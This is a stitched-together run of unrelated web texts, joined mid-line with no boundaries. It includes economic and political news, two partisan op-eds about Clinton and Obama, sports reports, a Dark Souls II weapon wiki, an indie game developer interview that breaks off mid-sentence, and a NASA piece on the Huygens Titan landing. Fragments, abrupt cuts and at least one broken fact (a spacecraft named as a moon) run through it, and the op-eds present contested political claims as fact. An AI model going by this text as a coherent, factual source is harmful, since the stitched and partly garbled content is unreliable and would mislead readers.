New Jersey's ban was not raised during the trial because JONAH employees weren't licensed therapists.In pre-sanctions Russia, growth was expected to remain weak in 2014-2015 due to stagnant oil demand, while institutional weaknesses reflected a poor investment climate. In early 2014, markets projected growth of 1.7 percent for 2014 and 2.3 percent in 2015, with a deceleration of inflation to about 5 percent and a policy rate of 5 percent.
With sanctions in place, the Russian economy wound up contracting 3.5 percent in 2014. Even in a benign scenario, Moscow can only expect flat growth in 2015. With subdued oil prices and weak ruble, only exports are driving growth.
Despite the stalemate in Ukraine, the cease-fire may not last long. Brussels is not eager to extend further sanctions in the near term, nor will it readily remove them. Washington is a different story.
Read MoreRussia's economic crisis 'will end Putin regime'
Preparing for the 2016 election, members of Congress have proposed far tougher actions, which range from declaring Russia in breach of its obligations under the nuclear treaty (INF) to ousting Moscow from the World Trade Organization.
What about medium-term expectations? In a benign scenario, Russian growth could climb to 1.5 percent by the late 2010s and stay there until the early 2020s. That is a far cry from Russia's BRIC-style peak growth of almost 7 percent in the pre-crisis world.
In an attempt to control the currency and inflation, Russia's central bank (CBR) raised the key rate from 5.50 percent at the start of the year to 17 percent after a huge 6.5-percent hike in December. The CBR also replaced its monetary head Ksenia Yudaeva with Dmitry Tulin. While the former can now focus on increasing flexibility in forecasting and strategy, the latter will ensure tougher enforcement in monetary policy.
After CBR cut rates to 15 percent, the ruble decreased to the low 60s against the dollar. As the central bank sees a weak ruble as a better option than high interest rates, it cut rates again Friday to 14 percent and said more rate cuts will follow.Kyrgyzstan's president-elect has told the United States that its Manas airbase has to close when its lease expires in mid-2014.
Former Prime Minister Almazbek Atambayev, who won Sunday's presidential election with more than 60 percent of the votes, said Kyrgyzstan would honor the current lease but has no intention of extending it.
The United States has used the base, which is adjacent to the Manas civilian airport, as a key supply transit center for the war in Afghanistan. Atambayev pointed to U.S. conflicts in Iraq and Afghanistan, and worsening relations with Iran, saying he did not want to risk one of those countries making a retaliatory strike on the base.
Russia also has a base in Kyrgyzstan, and views the former Soviet Central Asian nation as part of its traditional sphere of influence.
Some information for this report was provided by AP and Reuters.Each passing day, this presidential election becomes more distasteful, but that doesn't relieve me of my duty to do what I believe is right.
During the primaries, there were 17 GOP candidates, and I chose the one I believed would be the best for America. Now my realistic choices have been narrowed to two candidates -- Donald Trump and Hillary Clinton -- one of whom will be the next president.
What does this mean for me? Well, some people on the right faced with this binary choice have concluded they can't in good conscience vote for Trump, no matter how bad Clinton is. Some acknowledge that Clinton is terrible but believe that Trump could do more damage to conservatism and thus the nation in the long run -- even more than a Clinton presidency at this precarious moment in our nation's history.
I confess that I momentarily weighed all the possible scenarios, but I could never remotely convince myself that a Trump presidency would be worse for the nation than a Clinton one. I have not changed my mind despite the recent charges against Trump.
We are used to seeing Republicans beating one another up during the primaries, and the most recent three cycles -- 2008, 2012 and 2016 -- involved extremely vicious infighting in some cases. As a frequenter of Twitter, I have witnessed this firsthand. This year's primary was hands down the worst, but that's not the only way this year is different. In the previous two cycles, there was some residual discontentment, but most eventually united around the GOP nominee, notwithstanding lingering rumors that millions of evangelicals sat out the 2012 election.
The fighting among the never-Trumpers, the Trumpers and the never-Hillarys is approaching a fever pitch, with mutual accusations of abject immorality.
As the election gets closer, I see the horrors of a Clinton presidency in increasingly clearer relief. I acknowledge that this may cause me to rationalize some of my earlier distaste for some things about Trump, but I have to remember that my vote for Trump isn't an endorsement of everything he's done. I'm not saying I no longer have reservations about him or his policies. I do.
My decision to vote for Trump isn't a contradiction of my position during the Clinton impeachment that character matters or that private conduct is relevant in the election of public officials. Nor am I betraying my Christian values to vote for a candidate who, in almost any scenario I can imagine, would be better for America than Clinton. People suggesting that Christians voting for Trump have sold their souls are ignoring the moral implications of not voting for Trump and thereby enabling Clinton's destruction of our nation. Now that, my conscience wouldn't tolerate, though I don't judge those who disagree with me on this.
If I were voting for Trump in a vacuum, this would be different. But Clinton isn't a vacuum. She's more like a vulture lying in wait to end the republic as we know it. Accuse me of hyperbole or alarmism if you must, but I genuinely fear Clinton could do irreversible damage to the country. And millions agree with me.
Some say, "Look at what you are condoning if you vote for Trump." And I say, "I'm condoning nothing, but if you want to use that metric, look at what you're condoning if you don't try to do everything you can to prevent another Obama-Clinton term." Evangelicals withdrawing their support for Trump need to consider what they're abetting by not doing everything in their power to prevent Clinton's election. In my view, we can't pretend we have other choices and wash our hands of responsibility by sitting this out. Nor does acknowledging that God is in control absolve us, as Christians, from doing our part.
If you want to know what we'd be in for with Clinton, consider what she's done and how she's wholly escaped accountability for all of it. In every respect, she is worse than the worst allegations against Trump, including the treatment of women.
Look at what happens when Democrats are in control. The Justice Department and IRS have been politicized. If recent reports about the outrage of FBI agents over Director James Comey's refusal to indict Clinton for her email felonies are even 25 percent true, this is incredible. Clinton won't even get a wrist slap. Consider also the Clinton Foundation corruption, as well as the WikiLeaks bombshells and the media collusion in ignoring them.
Fear a Trump presidency if you choose, but in electing Clinton, America would be ratifying her egregious misconduct, her self-serving corruption and President Obama's agenda on steroids. It would be giving her a mandate from hell.
It's not just about Supreme Court appointments, though more liberal activists would enable an unprecedented assault on our liberties and the Constitution. A Clinton presidency would result in more babies destroyed in the womb; more encroachments on the Second Amendment; further degradation of the military; open borders and all that entails; the continued disaster of Obamacare and possibly worse with single-payer, which has always been Clinton's dream; higher taxes and dramatically increased regulations; ongoing economic malaise; more government dependency; continuing escalation of racial tensions; a further breakdown in law and order, with more violence in the streets and an ongoing war on cops; the acceleration of the dangerous national debt and of the insolvency of our entitlement programs; an escalation of the war on business; more demonization of the so-called wealthy; further deterioration of our vital relationship with Israel; more domestic and foreign terrorism; further proliferation of the Islamic State group; the sucking of more revenue and human resources into environmental and globalist projects; a possible IRS vendetta against Clinton's Republican and conservative opponents; nightmares from Iran; and more hostility to the energy industry, making us less energy-independent.
We've already seen the one-sidedness that allows Clinton to escape scrutiny and accountability, and she's not in power. Imagine if she were. Could a Clinton presidency finally succeed in suppressing the dissent of political opponents -- including through the so-called Fairness Doctrine, designed to emasculate conservative talk radio?
In short, if Clinton were to win, in all likelihood, she would consummate Obama's crusade to fundamentally transform America into something the Framers and most of us never envisioned and couldn't tolerate. Suffice it to say that I am not going to be shamed on moral grounds for fighting to prevent this calamity.CHESTER, Pa. – The Philadelphia Union have been in slumps before but manager John Hackworth has generally steered clear of making any major lineup shakeups to snap out of them.
That could change for Saturday’s crucial Eastern Conference matchup against the Houston Dynamo at PPL Park (7:30 pm ET, MLS Free Stream of the Week).
During his weekly press conference Wednesday, three days after a 1-0 loss to the San Jose Earthquakes that Hackworth called “alarming,” the Union manager admitted that some players might lose their place in the starting XI.
“There are more positions open this week than there have been all season,” Hackworth said. “We wanted to emphasize that it was unacceptable on many levels on Sunday night. It bodes well for guys working hard in training who smell it a little bit. They know there’s opportunity there. And if the coaching staff isn’t happy with the performance, the logical thing is you interject a new face in there or change something tactically.”
Hackworth didn’t say which specific players could move to the bench, but he did put the onus on the team’s attack. Over the past four games, the Union have scored just once with no goals coming from starting strikers Conor Casey or Jack McInerney.
Attacking midfielders Danny Cruz, Keon Daniel and Sebastien Le Toux also mostly struggled in Sunday’s loss to the Earthquakes, when the Union failed to control the midfield despite going up a man early in the second half.
“I think the pressure is now on our front five – our two strikers and three attack-minded midfielders,” Hackworth said. “Whether it’s Keon Daniel, Conor Casey, McInerney, Sebastien, Cruz or Michael Farfan, whoever we put in there, someone on our team has to start making the big plays that all teams need.
“We’re in a position where we need to have a guy step up and make a play,” he added. “Make a big play for this team.”
Get more Philadelphia Union news at PhiladelphiaUnion.com
When then asked if he’s consider inserting more of a natural playmaker into the lineup – someone, perhaps, like Kleberson or Roger Torres – Hackworth simply reiterated that there will be “more opportunities in the starting XI this week than there’s ever been to this point in the year.”
But no matter how the lineup looks against Houston, one thing is clear: Hackworth believes more creativity can help the Union snap their four-game winless streak and reestablish themselves in the Eastern Conference playoff race.
“We certainly looked pretty predictable against San Jose,” Hackworth said. “We were way too predictable, in reality. And our guys know that.”
Dave Zeitlin covers the Union for MLSsoccer.com. Email him at djzeitlin@gmail.com.Feminists are on a mission to help “end the shame” associated with having a sexually transmitted disease.
In a new episode of Style Like U’s “What’s Underneath,” sex writer Ella Dawson publicly divulged her herpes status.
“For me, the work I’m doing is so shaped by my feminism, and by my personal experience, that I don’t know how you can talk about STI (Sexually Transmitted Infection) stigma and herpes stigma without talking about slut-shaming,” Dawson says as she begins to remove articles of clothing.
After her herpes diagnosis, Dawson states she initially thought, “'Maybe this is what happens when you are empowered and write about sex and care about these things.'”
However, Dawson is now writing about her herpes status on her website.
While speaking to Style Like U, Dawson jokes that having herpes is the “ultimately douchebag detector.”
“If somebody rejects you for this, chances are, it wouldn’t work and you’re dodging a lot of unhappiness,” Dawson claims.
In order to reduce the stigma associated with herpes, Dawson conflates genital herpes with oral herpes. She tells Style Like U, “Chances are, you already have it [herpes].” She continues, “Something like 80 percent of the population between ages 15 and 49 have the strain that causes oral herpes usually.”
Dawson’s video received a glowing review on the MTV website. Kristina Marusic praises Dawson’s efforts to “de-stigmatize” herpes and other STIs.
MTV uses Dawson’s video in order to advertise its own “It’s Your Sex Life” website, which is designed to “support young people in making responsible decisions about their sexual health.”
Part of MTV’s “It’s Your Sex Life” campaign involves GYT, or “Get Yourself Tested.”
According to MTV, “GYT encourages testing as an act of pride, not shame-and promotes an open dialogue about STDs by encouraging young people to spread the word about the campaign.” The GYT movement involves using celebrities in order to promote its mission.
Teen Vogue, the magazine known primarily for appealing to teens, also published a favorable take of Dawson’s video.
In her Teen Vogue article, Sade Strehlke lauds “Ella’s bravery.”
“Ella's bravery in speaking up is doing volumes for other young girls and women who are also struggling with herpes,” Strehlke writes.
Strehlke instructs individuals who believe they have herpes to see a medical professional and “speak up about it.”
Speaking up about having herpes, Strehkle asserts, is “the only way to break the stigma.”
Dawson, MTV, and Teen Vogue are not the first to criticize what is known as STD or STI shaming. Psychology Today, which is intended to make scientific literature more accessible to the general public, published, “STDs are Normal” in 2010.
In the Psychology Today piece, Hunter College professor and practicing therapist Kathryn Stamoulis writes, “STDs are a normal part of human sexuality.”
Stamoulis compares catching a STD to the common cold: “The reality is that there always exists a chance of contracting an STD through sexual contact, even with the use of a condom and even when there is no intercourse. Similarly there is a high chance of contracting a cold or the flu during the winter when one is in close contact with others, such as on a bus or in a classroom. Illnesses and infections are part of life.”
Stamoulis ultimately makes the point that, “We need to counteract the stigma associated with STDs.”Pro account upgrade has expired for this site and the site is now locked. If you are the master administrator for this site, please renew your subscription or delete your outstanding sites or stored files, so that your account fits in the free plan.
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The Aux Effect Reduction % of the weapon. It dictates how much of the effect the weapon mitigates while blocking. The Aux Effect Reduction % stats for a weapon are A / B / C / D:
The Damage Reduction % of the weapon. It dictates how much damage the weapon mitigates while blocking. The Damage Reduction % stats for weapons are A / B / C / D / E :
The Stat Bonuses rating indicates the level of bonus damage you do with the weapon, based on the associated Stat. This rating can be S, A, B, C, D, or E (in order from most to least bonus for the associated skill). See Scaling for more information. The Bonus Stats for a weapon are A/B/C/D/E/F:
Also keep in mind that your character gains a 100% bonus to Strength by wielding a weapon with both hands, thus reducing the actual Strength required. For example, a character with 14 Strength can wield a Great Club (Requires 28 Strength) properly if the weapon is held with both hands. (14 x 2 = 28)
Wielding a weapon without the required Strength and/or Dexterity will incur a penalty to the Physical damage of the weapon, while lower-than-required Magic and/or Faith will reduce the Magic damage of the weapon.
The Stats Needed determines how high various Stats must be in order to wield the weapon effectively. The stats required for a weapon are A / B / C / D:
The Aux Effect stat dictates how effective the weapon will be at causing the effect. The Aux Effect stats for a weapon are A / B:
Certain enemies are weak or strong against different damage types. See Weakness for physical reduction, Resistance for elemental reduction.
Each weapon has one or more physical damage types:
The Damage stat dictates how much damage the weapon does. The Damage stats for a weapon are A / B / C / D / E:
Reduces: Stat bonuses. Adds/Increases: INT stat bonus (excluding weapons that have base magic damage). Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base bleed damage, bleed damage reduction. Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base poison damage, poison damage reduction. Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base dark damage, INT and FTH stat bonus, dark damage reduction. Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base lightning damage, FTH stat bonus, lightning damage reduction. Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base fire damage, INT and FTH stat bonus, fire damage reduction. Requires:
Reduces: Base damage, STR and DEX stat bonuses, damage and aux effects reduction. Adds/Increases: Base magic damage, INT stat bonus, magic damage reduction. Requires:
As it is told, the black dragon lost its tail to a brave warrior in a magnificent battle, and the tail was later used to forge several legendary weapons.
In legend, this oddly-shaped straight sword is said to be forged from the black dragon's tail.
#1 source of fan provided tips, strategies, FAQs, and information about Dark Souls II
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It's not a secret that Ubuntu Touch could really use an application suite like LibreOffice, and we also know that a lot of work has been put into the LibreOffice Viewer core app, which is now being tested. If Ubuntu developers managed to include at least some of the core components of LibreOffice, it would mean a lot for the operating system, which really needs first-grade app support.
To be fair, Ubuntu developers have already got LibreOffice to run under Mir, even if it's an X legacy app. It has been done more to show that it is possible and that the convergence of the mobile and desktop platforms is closer than people might imagine. There is no timetable attached to the project, and we don't know when it's going to happen or how advanced everything is, but it looks like LibreOffice 5.0 will be a cornerstone in this regard.
LibreOffice will land on Ubuntu Touch
The developers from The Document Foundation haven't gone into much detail about their plans, but they have said that the office suite is coming to Android. Coupled with the things we already know about Ubuntu Touch, we can safely say that LibreOffice 5.0 will bring some very interesting changes to the mobile platform from Canonical.
"A new version for new endeavours: LibreOffice 5.0 is the cornerstone of the mobile clients on Android and Ubuntu Touch, as well as the upcoming cloud version. As such, LibreOffice 5.0 serves as the foundation of current developments and is a great platform to extend, innovate and collaborate!" reads the announcement from The Document Foundation.
Whatever changes are coming to Ubuntu Touch, don't expect everything to arrive at once. The viewer will probably be the first to land, but they are not stopping there.In August of 2010, Andy Wolff joined Connor Kimbrough to form a two man independent videogame development team called Super Ghosts. Over a year later and after some sponsorship struggles with the release of Space Parasite, Andy is still working out on more clearly defining his aspirations as an independent videogame developer.
Bonus link at the end of the interview.
Age?
19 years old.
Location?
Right now, I’m in a dorm at WPI in Worcester, Massachusetts. I grew up in Vermont, just below Canada.
Development tool(s) of choice?
For games and related media I use Photoshop, Flash, MS Paint, GameMaker, Visual Studio, Flashdevelop, Eclipse, Notepad and Notepad++, a little bit of Dreamweaver, Audacity, Fruity Loops, Bfxr, sometimes Pxtone and Musagi, Camstudio, Windows Movie Maker because I haven’t yet figured out how to use After Effects, and a few more for more specialized problems. I just learned quite a bit of Matlab and considered making some kind of a game with it, but I probably won’t because that would be ridiculous.
What do you do?
Well, right now I’m a second-year at Worcester Polytechnic Institute, trying to double major in Robotics Engineering and Interactive Media and Game Development (RBE and IMGD, respectively). I might end up ditching that second one, though, but only officially.
When I’m not either working myself to death on some kind of school-work or going on adventures with my friends, I tend to be working on one of dozens of projects for Super Ghosts.
I could go on forever about things I do, but I guess I’ll stop here unless you’d like to hear more.
Give me a little bit of background about how you became interested in and got into game development?
I was the kind of kid who really liked building crazy things out of Lego bricks and those awesome cardboard brick things. I got really bored during middle school. I mean really, properly, bored-enough-to-watch-incredibly-bad-television, having-nightmares-about-boredom bored. I desperately needed to find some kind of creative and intellectually challenging hobby. I ended up reading about a million books, before turning to the internet and deciding to try out Blender. I was incredibly inefficient at modelling, so I ended up learning a great deal of patience.
Around the same time as I took a silly little class in BASIC (I think it was like 6th grade, so I would have been about 11), one of my awesome and super-nerdy friends introduced me to GameMaker. I instantly loved it and started making thousands of utterly terrible games, very few of which I’ve finished.
What are your goals and aspirations as a game developer?
I’ve been meaning to define my goals more clearly, actually. I have a bad habit of living and acting without specific purpose in mind, but coming up with some goals on the spot. I’d say they’re sort of a vague dreamy combination of “I want to always make better and more interesting games than I have in the past” and “I want to help make things which people can deeply enjoy”.
I try not to compare my work negatively to others’ unless I’m looking for things that I can do better. Things like gameplay and aesthetic are important to me. I like to aim for intensity and cohesion. A word that comes to mind for what I want my creations to be is “wholesome”. I hope Super Ghosts does well once some of our bigger projects start coming together, so we can spend more time making cooler games. I really want to meet and befriend more developers.
What ultimately inspires you to keep developing?
I come from a family of musicians, woodworkers and engineers, so I guess I’ve inherited that natural drive to be creative in technical ways. All of the work that goes into making games is comprised of different crafts that I love to do, so I don’t really need any more inspiration than that.
I do have plenty of inspiration, though. Most of it comes from those little gems of brilliance, which can be found in the corners of the internet, as well as books (I still read a good book every now and again), movies and all kinds of art. I love watching animation and demos. Of course, my most important inspirations are other people. I suspect I wouldn’t be making games at all if I was the only person I knew. Also, groups like The Poppenkast, certain parts of TIGSource, and what GameMakerGames used to be, have had a very important effect on me.
After months of unsuccessfully searching for a sponsor, you eventually released a game called Space Parasite, unsponsored, back in July. Which sponsors did you approach and what were their reponses?
Ah yeah, that was a big disappointment. I started working with Kramlack |
have dreamed about being recognised by Armstrong one day. But now I speak to him at races – I can text him. It's pretty surreal.
"Before the Giro I still had that awe thing but we spoke most days and it just got warmer and warmer. Now it's just great. He's going to get a lot of flak in France and I feel for him. But he's going to concentrate on the race because I know he still wants to win the Tour."
Cavendish will be sprinting after the green jersey, rather than the yellow, and also revelling in the publication of his book. "Outside of cycling, there are three things I've always wanted – a boat, even if it's a paddling boat, a spiral staircase in my house, and a book about me. I've only got the last one so far, and I'm proud of it. I know so many people fluff their lives up in a book to make themselves look good or to make people feel sorry for them. But I just want to be frank and to the point. And I want to win bike races. I've always said I don't want to be known for my name. I want to be known for my achievements. That's all that matters."
Mark Cavendish's "Boy Racer" is published by Ebury (£18.99)Nissan announced Thursday a partnership with Always Evolving to campaign two Nissan GT-R NISMO GT3 cars in Pirelli World Challenge, with inaugural Nissan GT Academy North America winner Bryan Heitkotter and Australian open-wheel and GT star James Davison as the drivers.
AIM Autosport will operate the pair of factory-backed entries, which will make their U.S. debut in next month’s season-opener at Circuit of The Americas on March 6-8.
“Nissan couldn’t be happier to have Always Evolving and AIM as Nissan’s partners to campaign the first GT3 spec GT-Rs in the U.S. in Pirelli World Challenge,” said Rick Kulach, Nissan North America Motorsports Manager.
“This partnership is a great opportunity to showcase Bryan’s talents alongside James, who is a rising star in motorsports. It’s exciting to have a GT Academy champion in a great car racing at this level.”
The effort, which was originally tabbed to be run by Andretti Autosport, was taken over by the Ian Willis-led AIM squad at the last minute, which has seen the 2012 GRAND-AM champions in a race against the clock to get both of the cars on the grid for COTA.
AIM has joined forces with the Los Angeles-based Always Evolving Racing, founded by Erik Davis and the late Roger Rodas, which had previously campaigned Mustangs in the GTS class.
“We are extremely excited to partner with Nissan in Pirelli World Challenge,” said Davis. “Our two brands have had a distant relationship for many years, and to be able to now officially launch an effort together bringing the Nissan NISMO GT3 GT-R to North America is humbling to say the least.
“We look forward to showcasing the team, our drivers, the GT Academy and our sponsors in a very competitive platform.”
Heitkotter, 34, won North America’s first gamer-to-racer GT Academy competition in 2011, having since gone onto compete with Doran Racing and CA Sports Team in Continental Tire SportsCar Challenge and PWC competition.
Most recently, he finished sixth overall in last month’s CTSC opener at Daytona.
“I have been watching the Pirelli World Challenge gain momentum over the past couple years, and I’m absolutely thrilled to help represent Nissan in this highly competitive series,” Heitkotter said.
“The GT-R has proven to be a spectacular racing car and I can’t wait to see what we can all accomplish together.”
Davison, who took part in last year’s Indianapolis 500 in an AE-backed KV Racing Technology entry, will make his PWC debut alongside his season-long commitments in the TUDOR United SportsCar Championship with TRG-AMR.
“We have great confidence in Erik (Davis)’s vision and ability to campaign a competitive car at a high level every race,” added Kulach.
“James Davison is not only a talented young race driver, but he’s also a great sportsman and will be an outstanding representative for the Nissan brand.”Obama To Cut Non-Union Military Pensions By 10%
Barack Obama has been a staunch supporter of defined benefit pensions for government employees, but his administration is now working on a plan to convert at least part of military retiree pensions from defined benefit payments to 401(k)-style defined contribution accounts. The obvious difference is that most public employees are unionized, but the military is not because their code of honor has no room for strikes and collective bargaining. After our heroes fought with honor and distinction for 13 years in Iraq and Afghanistan, it is despicable to treat American military retirees worse than other public employees. The Military Times reported on March 6th that the Obama Administration is planning to cut military pension costs by 10% by converting part of their retirement to 401(k) defined contribution plans from a defined benefit plans. The move follows Secretary of Defense Chuck Hagel’s announcement last month that the administration intends to cut the Army by 125,000 from its wartime peak and recommendations to limit military pay raises, charging higher health-care fees and offer less generous housing allowances.
The Military Times reported that administration documents they reviewed only partially preserve fixed-income pensions after 20 years of military service. When confronted by the Times reporter about the effect on pension payments, a Pentagon spokesman admitted “it would ultimately provide smaller monthly checks.” The new 401(k) plan partially substitute lifetime pension payments with cash “retention payments” after 6 and 12 years of service, and then grant a lump-sum “transition pay” after 20 years. The Obama administration already cut defense spending from $850 billion in 2011 to $831 billion this year, and only plans to trim spending by 2016 to $807 billion.The large cuts in military wages, benefits and staffing confirm that the Obama Administration’s priorities are preservingpolitically favored expensive weapons systems “investments.” Barack Obama trumpeted his support of defined benefit pensions for public employees in his 2008 presidential campaign. He attacked John McCain’s initiative to allow voluntary conversion of government pensions into 401(k) defined contribution accounts and allowing workers “to choose to contribute to a personal Social Security account ” While in the Illinois Senate,Obama had also voted to maintain state defined pensions. (S.B. 1270). Addressing the National Governors Association at the White House on February 28, 2011, President Obama spoke forcefully in support of his union friends. “I don't think it does anybody any good when public employees are denigrated or vilified or their rights are infringed upon.” President Obama is known for taking his teleprompter everywhere he speaks. But on July 2, 2008 he deviated from his pre-released script and performing without the teleprompter said: "We cannot continue to rely on our military in order to achieve the national security objectives that we've set. We've got to have a civilian national security force that's just as powerful, just as strong, just as well-funded." President Obama kept his commitment by lobbying for the funds to expand the Department of Homeland Security (DHS) to 240,000 members, while shrinking the military. The major difference at DHS versus the military is that Obama’s strong and powerful civilian national security force has been organized by the American Federation of Government Employees. Unlike the military, there is no recommendation to force DHS employees into 401(k) retirement accounts, limit compensation, pay higher health-care fees or cut housing allowances because they are unionized. The author welcomes feedback @ chriss@chrissstreetandcompany.com
Chriss Street is teaching microeconomic at University of California, Irvine this spring from March 31 – June 8, 2014. Call Student Services at (949) 824-5414 or visit http://unex.uci.edu/courses to enroll!A Very Alien Moon: NASA Celebrates 12th Anniversary of Huygens Landing on Titan
Twelve years ago today, one of the most incredible space missions ever was accomplished: the first landing of a probe on an alien moon. And this wasn’t just any moon, but Titan, largest moon of Saturn and one of the most fascinating worlds in the Solar System. Although much colder than Earth, Titan mimics some of the processes found here such as its hydrological cycle, but with liquid methane/ethane instead of water. Titan had been observed extensively by telescopes and from Saturnian orbit, but this was the first time the surface could be seen up close.
The Huygens lander, part of the Cassini mission to Saturn, was the first probe to ever attempt a landing on this alien world and it succeeded, in spades. Although not designed to last very long in the harsh environment, it sent back a wealth of information in the limited time it had.
Huygens was a project of the European Space Agency, which accompanied NASA’s Cassini spacecraft to Saturn. On Dec. 24, 2004, Huygens separated from the Cassini spacecraft and began its journey to Titan, which would take another 20 days.
On Jan. 14, 2005, it descended through Titan’s thick atmosphere, hanging beneath large parachutes. The probe measured the complex chemistry of the atmosphere as well as winds. Thousands of images were taken, showing the rugged highlands near its landing spot as well as drainage channels. The region looked very much like a coastline on Earth, with mountains and rivers; Huygens landed in what is thought to be an old lakebed or floodplain. But like other still-liquid lakes and seas elsewhere, that lake would have been composed of liquid methane/ethane, not water. On Titan’s surface, water ice is as hard as rock. Indeed, Huygens saw rounded boulders on the surface composed of water ice instead of rock. There was even some residual moisture still in the ground.
After only about 72 minutes, Huygens’ “mothership,” Cassini, dropped below the horizons, cutting off communications. But before then, the probe had already collected a ton of data and images from the surface.
To help celebrate this anniversary, some of the Cassini team members and other NASA leaders shared their thoughts about the mission:
“The Huygens descent and landing represented a major breakthrough in our exploration of Titan as well as the first soft landing on an outer-planet moon. It completely changed our understanding of this haze-covered ocean world,”
said Linda Spilker, Cassini project scientist at NASA’s Jet Propulsion Laboratory, Pasadena, Calif.
“The Huygens images were everything our images from orbit were not. Instead of hazy, sinuous features that we could only guess were streams and drainage channels, here was incontrovertible evidence that at some point in Titan’s history – and perhaps even now – there were flowing liquid hydrocarbons on the surface. Huygens’ images became a Rosetta stone for helping us interpret our subsequent findings on Titan,” said Carolyn Porco, Cassini imaging team lead at Space Science Institute, Boulder, Colo.
“Cassini and Huygens have shown us that Titan is an amazing world with a landscape that mimics Earth in many ways. During its descent, the Huygens probe captured views that demonstrated an entirely new dimension to that comparison and highlights that there is so much more we have yet to discover. For me, Huygens has emphasized why it is so important that we continue to explore Titan,”
said Alex Hayes, a Cassini scientist at Cornell University, Ithaca, N.Y.
“Twelve years ago, a small probe touched down on an orangish, alien world in the outer solar system, marking humankind’s most distant landing to date. Studying Titan helps us tease out the potential of habitability of this tiny world and better understand the chemistry of the early Earth,”
said Jim Green, director of planetary science at NASA Headquarters, Washington.
As revealed by both Huygens and Cassini, Titan is one of the most enigmatic worlds in the Solar System, with rain, rivers, lakes, and seas of liquid methane/ethane, a thick nitrogen atmosphere with organic haze and clouds, vast dunes of organic material, and likely a subsurface ocean of water. Titan’s surface is literally covered in organic materials, thought to be similar to what existed on the early Earth.
Although extremely cold on Titan, some scientists believe that some form of primitive life could possibly exist there, in its lakes and seas or in the subsurface ocean. If so, it would probably be methane-based and different from anything seen on Earth. At the very least, Titan’s environment is thought to be quite similar to that of the early Earth, just before life started here. In many ways, Titan seems more like a planet than a moon, which made it such an enticing target for exploration.
While Titan has been a primary focus, Cassini has been busy exploring the entire Saturnian system since 2004. From the dozens of moons to the majestic rings of Saturn itself, there has been no lack of things to study; the Saturnian system is a very diverse collection of worlds and could be thought of as a miniature solar system in itself.
The moon Enceladus may be very small, but it has a subsurface ocean of water below its ice crust which can come up to the surface in the form of massive geysers through large cracks in the surface. Cassini has been able to sample these plumes directly, finding water vapor, ice particles, salts, and a variety of organic molecules. With evidence of hydrothermal activity on its ocean floor, Enceladus is now thought to be one of the best places to search for evidence of alien life. Cassini itself can’t determine whether life exists or not, that will require a follow-up mission. Concepts for such a mission are now being planned and designed.
Cassini recently began a series of Ring-Grazing Orbits, which will take it within the rings and closer to the planet itself as it prepares to end its mission this coming fall.
“This is it, the beginning of the end of our historic exploration of Saturn. Let these images – and those to come – remind you that we’ve lived a bold and daring adventure around the Solar System’s most magnificent planet,” said Carolyn Porco, Cassini imaging team lead at Space Science Institute in Boulder, Colo.
This phase of the mission began last Nov. 30, and will consist of 20 week-long orbits which pass very close to the outer edges of Saturn’s rings. In each pass, the spacecraft will also pass over the northern hemisphere just before “grazing” the rings. Subsequent passes will bring Cassini even closer to the edges of the rings, providing some of the closest images of the rings and the tiny moons which also orbit in that region.
“We’re calling this phase of the mission Cassini’s Ring-Grazing Orbits, because we’ll be skimming past the outer edge of the rings,” said Linda Spilker, Cassini project scientist at NASA’s Jet Propulsion Laboratory in Pasadena, Calif. “In addition, we have two instruments that can sample particles and gases as we cross the ringplane, so in a sense Cassini is also ‘grazing’ on the rings.”
During the Grand Finale phase, Cassini will plunge through the rings 22 times, through the 1,500-mile-wide (2,400-kilometer) gap between Saturn and its innermost ring, starting April 26, 2017. On Sept. 15, 2017, Cassini will plunge into Saturn’s atmosphere, on purpose, after it runs out of fuel. This fiery ending was decided upon in order to prevent the spacecraft from possibly colliding with any of the moons, in particular Enceladus or Cassini, where contamination could occur from possible microbes still alive onboard.
Although there are not yet any follow-up Cassini-style missions planned yet, scientists are working on new missions to return to Titan and Enceladus specifically. One such mission would study the potential habitability of Enceladus’ ocean and search for possible evidence of life itself. A mission to Titan would aim to land a boat-like probe in one of its methane/ethane seas; an even more ambitious future mission could be a submarine-type probe.
The proposed submarine, currently called the Titan Submarine Phase I Conceptual Design, would explore one of the moon’s exotic methane/ethane seas. It was created by NASA Glenn’s COMPASS Team along with other researchers from Applied Research Lab. Appearance-wise, it resembles some older submarine models, but the technology involved would be much more advanced, necessary for working in such a cold, dark environment. From a recent paper:
“The vehicle would observe – and perhaps ultimately exploit – tidal currents in the sea, which follow a cycle once per Titan day, or 16 Earth days. When surfaced, as well as communicating with Earth, the vehicle would use a mast-mounted camera to observe the sea state and shoreline landscape, and would record meteorological observations. Measurement of the trace organic components of the sea, which perhaps may exhibit prebiotic chemical evolution, will be an important objective, and a benthic sampler would acquire and analyze sediment from the seabed. These measurements, and seafloor morphology via sidescan sonar, may shed light on the historical cycles of filling and drying of Titan’s seas. Models suggest Titan’s active hydrological cycle may cause the north part of Kraken to be ‘fresher’ (more methane-rich) than the south, and the submarine’s long traverse will explore these composition variations.”
There are currently two proposed follow-up missions to return to Enceladus: The Enceladus Life Finder (ELF) would fly through the plumes and analyze them, like Cassini, but with more advanced instruments, and the MASPEX instrument would analyze gas coming from the vents. ELF would be capable of finding and identifying amino acids, the building blocks of life. The Enceladus Icy Jet Analyzer would focus on solid particles in the plumes. Drilling through the ice to the ocean below would require a much more ambitious future mission, but just analyzing the water vapor escaping to space through the surface cracks would tell scientists a lot about the conditions in the ocean and whether life could be, or is, there.
“The plume of Enceladus is waiting for us. It could be the place where we find out if life had a second genesis in our own Solar System,” said planetary scientist Jonathan Lunine at Cornell University, in a talk at the American Geophysical Union meeting. “We must go back.”
These missions are still a ways off, but the first steps have already been taken. The 2016 budget proposal from the U.S. House Appropriations Committee called for the creation of an “Ocean Worlds Exploration Program” which would fund new missions to Europa, Enceladus, and Titan. From the proposal:
